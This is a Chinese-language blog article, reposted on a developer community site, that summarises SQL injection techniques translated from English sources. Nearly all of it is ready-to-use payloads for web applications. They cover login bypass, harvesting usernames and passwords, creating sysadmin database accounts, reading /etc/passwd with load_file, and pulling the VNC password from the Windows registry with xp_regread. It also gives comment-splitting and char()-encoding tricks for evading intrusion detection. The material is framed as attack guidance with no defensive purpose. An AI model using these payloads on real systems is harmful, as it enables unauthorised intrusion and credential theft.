开发者社区> rdiframework> 正文
阿里云
为了无法计算的价值
打开APP
阿里云APP内打开

SQL注射技术总结文档

简介: 版权声明:本文为博主原创文章,未经博主允许不得转载。 https://blog.csdn.net/chinahuyong/article/details/3552252  写在前...
+关注继续查看
版权声明:本文为博主原创文章,未经博主允许不得转载。 https://blog.csdn.net/chinahuyong/article/details/3552252
 写在前面:

  最近看了不少老外写的东西,看时间相同的技术当铺比我们早了好长一段时间,比如ASP的SQL注射国外02年就出现了,PHP的也在04年出现,而我们一直到05年才接触到,看看比人家晚了多少时间呀!
为了尽快了解最新的技术动态,我坚持看E文资料,有的很长,有的很短,本人时间有限,不可能一一翻译过来,只能挑选自己认为比较适合大家看的东西翻译过来,希望你能从中学到东西。

    PS:本人英语水平有限,很多都是按照我的理解做的模糊翻译,若有不当,敬请指正,谢谢!

====||目录||=====
--------------------
1、简介
2、漏洞测试
3、收集信息
4、数据类型
5、抓取密码
6、创建数据库帐号
7、MYSQL利用
8、服务名和配置
9、在注册表中找VNC密码
10、刺穿IDS认证
11、在MYSQL中使用char()欺骗
12、用注释躲避IDS认证
13、构造无引号的字符串

====||文章开始||====

1、简介

当你看到一个服务器只开了80端口,这在一定程度上说明管理员把系统的补丁做的很好,我们所要做最有效的攻击则也应该转向WEB攻击。SQL注射是最常用的攻击方式。你攻击WEN系统(ASP,PHP,JSP,CGI等)比去攻击系统或者其他的系统服务要简单的多。
SQL注射是通过页面中的输入来欺骗使得其可以运行我们构造的查询或者别的命令,我们知道在WEB上面有很多供我们输入参数的地方,比如用户名、密码或者E_mail。

2、漏洞测试

最开始我们应该从最简单的来试:

- Login:' or 1=1--
- Pass:' or 1=1--
- http://website/index.asp?id=' or 1=1--

还有下面这样的方式:

- ' having 1=1--
- ' group by userid having 1=1--
- ' SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = 'tablename')--
- ' union select sum(columnname) from tablename--

3、收集信息

- ' or 1 in (select @@version)--
- ' union all select @@version--

上面就可以得到系统的版本和补丁信息。

4、数据类型

Oracle数据库>>
-->SYS.USER_OBJECTS (USEROBJECTS)
-->SYS.USER_VIEWS
-->SYS.USER_TABLES
-->SYS.USER_VIEWS
-->SYS.USER_TAB_COLUMNS
-->SYS.USER_CATALOG
-->SYS.USER_TRIGGERS
-->SYS.ALL_TABLES
-->SYS.TAB
MySQL数据库
-->mysql.user
-->mysql.host
-->mysql.db

MS access数据
-->MsysACEs
-->MsysObjects
-->MsysQueries
-->MsysRelationships

MS SQL Server数据库
-->sysobjects
-->syscolumns
-->systypes
-->sysdatabases

5、抓取密码

用类似下面的语句。。。
//保存查询的结果
step1 : '; begin declare @var varchar(8000) set @var=':' select @var=@var+'+login+'/'+password+' ' from users where login > @var select @var as var into temp end --
//取得信息
step2 : ' and 1 in (select var from temp)--
//删除临时表
step3 : ' ; drop table temp --

6、创建数据库帐号

MS SQL
exec sp_addlogin 'name' , 'password'
exec sp_addsrvrolemember 'name' , 'sysadmin'

MySQL
INSERT INTO mysql.user (user, host, password) VALUES ('name', 'localhost', PASSWORD('pass123'))

Access
CRATE USER name IDENTIFIED BY 'pass123'

Postgres (requires Unix account)
CRATE USER name WITH PASSWORD 'pass123'

Oracle
CRATE USER name IDENTIFIED BY pass123
        TEMPORARY TABLESPACE temp
         DEFAULT TABLESPACE users;
GRANT CONNECT TO name;
GRANT RESOURCE TO name;

7、MYSQL交互查询

使用Union查询,暴出文件代码,如下:
  - ' union select 1,load_file('/etc/passwd'),1,1,1;

8、系统服务名和配置

- ' and 1 in (select @@servername)--
- ' and 1 in (select servername from master.sysservers)--

9、找到VNC密码(注册表)

实验语句如下:

- '; declare @out binary(8)
- exec master..xp_regread
- @rootkey = 'HKEY_LOCAL_MACHINE',
- @key = 'SOFTWARE/ORL/WinVNC3/Default',
- @value_name='password',
- @value = @out output
- select cast (@out as bigint) as x into TEMP--
- ' and 1 in (select cast(x as varchar) from temp)--

10、避开IDS检测

Evading ' OR 1=1 Signature

- ' OR 'unusual' = 'unusual'
- ' OR 'something' = 'some'+'thing'
- ' OR 'text' = N'text'
- ' OR 'something' like 'some%'
- ' OR 2 > 1
- ' OR 'text' > 't'
- ' OR 'whatever' in ('whatever')
- ' OR 2 BETWEEN 1 and 3

11、MYSQL中使用char()函数

不带引号的注射,例如: (string = "%"):
--> ' or username like char(37);
带引号的注射,例如: (string="root"):
--> ' union select * from users where login = char(114,111,111,116);
在 unions中使用load files 函数,例如:(string = "/etc/passwd"):
-->' union select 1;(load_file(char(47,101,116,99,47,112,97,115,115,119,100))),1,1,1;
检查文件是否存在,例如: (string = "n.ext"):
-->' and 1=( if((load_file(char(110,46,101,120,116))<>char(39,39)),1,0));

12、利用注释符号避开IDS

举例如下:

-->'/**/OR/**/1/**/=/**/1
-->Username:' or 1/*
-->Password:*/=1--
-->UNI/**/ON SEL/**/ECT  (!!!这个比较罕见,应该大有作为!!!)
-->(Oracle)     '; EXECUTE IMMEDIATE 'SEL' || 'ECT US' || 'ER'
-->(MS SQL)    '; EXEC ('SEL' + 'ECT US' + 'ER')

13、不带引号的字符串

用char()或者0X来构造不含引号的语句。。
--> INSERT INTO Users(Login, Password, Level) VALUES( char(0x70) + char(0x65) + char(0x74) + char(0x65) + char(0x72) + char(0x70) + char(0x65) + char(0x74) + char(0x65) + char(0x72), 0x64)


======================================================================

版权声明:本文内容由阿里云实名注册用户自发贡献,版权归原作者所有,阿里云开发者社区不拥有其著作权,亦不承担相应法律责任。具体规则请查看《阿里云开发者社区用户服务协议》和《阿里云开发者社区知识产权保护指引》。如果您发现本社区中有涉嫌抄袭的内容,填写侵权投诉表单进行举报,一经查实,本社区将立刻删除涉嫌侵权内容。

相关文章
HCL_交换机_单臂路由
HCL_交换机_单臂路由
55 0
洛神研究所丨从SD-WAN到SD-Branch,分支网络的技术变革
孙佳辉(花名:月宾) 阿里云网络 高级技术专家 英国萨里大学硕士,负责阿里云SD-WAN产品线。过往经历覆盖运营商骨干网、云计算基础网络规划、设计、运维,网络产品的孵化和增长等领域。曾任中国联通骨干网设计师、AWS中国区网络运维和技术支持。
137 0
Qt中文翻译(官方文档,界面,工具等)集锦
Qt中文翻译(官方文档,界面,工具等)集锦
49 0
GL_会计科目子模组追溯至总账分析(案例)
2014-06-02 BaoXinjian 一、案例 需求: 从日记账源头追溯至分类账,再至子模组 1. 查询日记账,进行追溯 2. 常用的SQL 3. E-R图 4. SLA中查询     (1).
1416 0
Mysql5注射技巧总结
flyh4t@126.com文章已经发表在《黑客手册》,转载请署名版权Mysql5和之前的版本有很多不同的地方,灵活的运用其特性可以在入侵的时候省掉很多麻烦。
855 0
+关注
rdiframework
RDIFramework.NET,基于.NET的快速信息化系统开发、整合框架,给用户和开发者最佳的.Net框架部署方案。 框架官网:http://www.rdiframework.net/ 框架博客:http://blog.rdiframework.net/
314
文章
0
问答
文章排行榜
最热
最新
相关电子书
更多
低代码开发师(初级)实战教程
立即下载
阿里巴巴DevOps 最佳实践手册
立即下载
冬季实战营第三期:MySQL数据库进阶实战
立即下载